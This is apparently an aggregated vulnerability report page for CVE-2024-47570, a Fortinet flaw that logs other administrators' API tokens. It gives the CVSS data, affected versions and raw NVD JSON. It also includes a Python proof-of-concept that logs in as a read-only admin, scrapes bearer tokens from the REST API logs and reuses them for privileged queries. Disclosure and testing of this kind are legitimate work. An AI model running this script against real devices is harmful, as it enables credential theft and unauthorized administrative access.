Security Vulnerability Report
中文
CVE-2024-47570 CVSS 6.6 MEDIUM

CVE-2024-47570

Published: 2025-12-09 18:15:48
Last Modified: 2025-12-10 20:32:21

Description

An insertion of sensitive information into log file vulnerability [CWE-532] in FortiOS 7.4.0 through 7.4.3, 7.2.0 through 7.2.7, 7.0 all versions; FortiProxy 7.4.0 through 7.4.3, 7.2.0 through 7.2.11; FortiPAM 1.4 all versions, 1.3 all versions, 1.2 all versions, 1.1 all versions, 1.0 all versions and FortiSRA 1.4 all versions may allow a read-only administrator to retrieve API tokens of other administrators via observing REST API logs, if REST API logging is enabled (non-default configuration).

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisase:24.1.37:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisra:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
FortiOS 7.4.0 - 7.4.3
FortiOS 7.2.0 - 7.2.7
FortiOS 7.0 所有版本
FortiProxy 7.4.0 - 7.4.3
FortiProxy 7.2.0 - 7.2.11
FortiPAM 1.4 所有版本
FortiPAM 1.3 所有版本
FortiPAM 1.2 所有版本
FortiPAM 1.1 所有版本
FortiPAM 1.0 所有版本
FortiSRA 1.4 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-47570 PoC - Fortinet API Token Leak via REST API Logs # This PoC demonstrates how a read-only admin can extract API tokens from logs import requests import re from bs4 import BeautifulSoup TARGET = "https://target-fortinet-device.com" USERNAME = "readonly_admin" PASSWORD = "password" def login(): """Authenticate as read-only admin""" session = requests.Session() login_url = f"{TARGET}/api/v2/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=data, verify=False) return session, response.json().get('token') def extract_tokens_from_logs(session, auth_token): """Extract API tokens from REST API logs""" headers = {"Authorization": f"Bearer {auth_token}"} # Access REST API logs log_url = f"{TARGET}/api/v2/monitor/logs/rest-api" response = session.get(log_url, headers=headers, verify=False) tokens = [] if response.status_code == 200: # Parse logs and extract API tokens from Authorization headers log_content = response.text token_pattern = r'Authorization:\s*[Bb]earer\s+([A-Za-z0-9\-_\.]+)' tokens = re.findall(token_pattern, log_content) return tokens def use_stolen_token(stolen_token): """Use stolen token to perform privileged operations""" headers = {"Authorization": f"Bearer {stolen_token}"} # Example: Get full admin list admin_url = f"{TARGET}/api/v2/cmdb/system/admin" response = requests.get(admin_url, headers=headers, verify=False) return response.json() def main(): session, admin_token = login() stolen_tokens = extract_tokens_from_logs(session, admin_token) for token in stolen_tokens: print(f"Found token: {token}") privileged_data = use_stolen_token(token) print(f"Privileged access: {privileged_data}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-47570", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:47.590", "lastModified": "2025-12-10T20:32:21.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insertion of sensitive information into log file vulnerability [CWE-532] in FortiOS 7.4.0 through 7.4.3, 7.2.0 through 7.2.7, 7.0 all versions; FortiProxy 7.4.0 through 7.4.3, 7.2.0 through 7.2.11; FortiPAM 1.4 all versions, 1.3 all versions, 1.2 all versions, 1.1 all versions, 1.0 all versions and FortiSRA 1.4 all versions may allow a read-only administrator to retrieve API tokens of other administrators via observing REST API logs, if REST API logging is enabled (non-default configuration)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.12", "matchCriteriaId": "C8B93C73-1E94-4854-8405-C3689860A74C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.4", "matchCriteriaId": "3F2C29AD-A11F-4A5F-8BB0-8600D5F77E72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisase:24.1.37:*:*:*:*:*:*:*", "matchCriteriaId": "9BB4EFCB-CE5B-4B56-A010-44678E011B0E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisra:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndIncluding": "1.4.3", "matchCriteriaId": "E5DE63FB-58DD-4812-83B0-E67A578ED138"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.4", "versionEndIncluding": "7.0.17", "matchCriteriaId": "A506930A-6DA7-4F7F-957B-500C644284D5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.8", "matchCriteriaId": "A6D2A14F-3916-45A0-AD4D-27C60E00AEC0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.4", "matchCriteriaId": "1FDDB5F3-D229-4208-9110-8860A03C8B59"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortipam:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "1.4.3", "matchCriteriaId": "99C56A5F-D835-41CC-B162-49EFB8CF185A"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-268", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}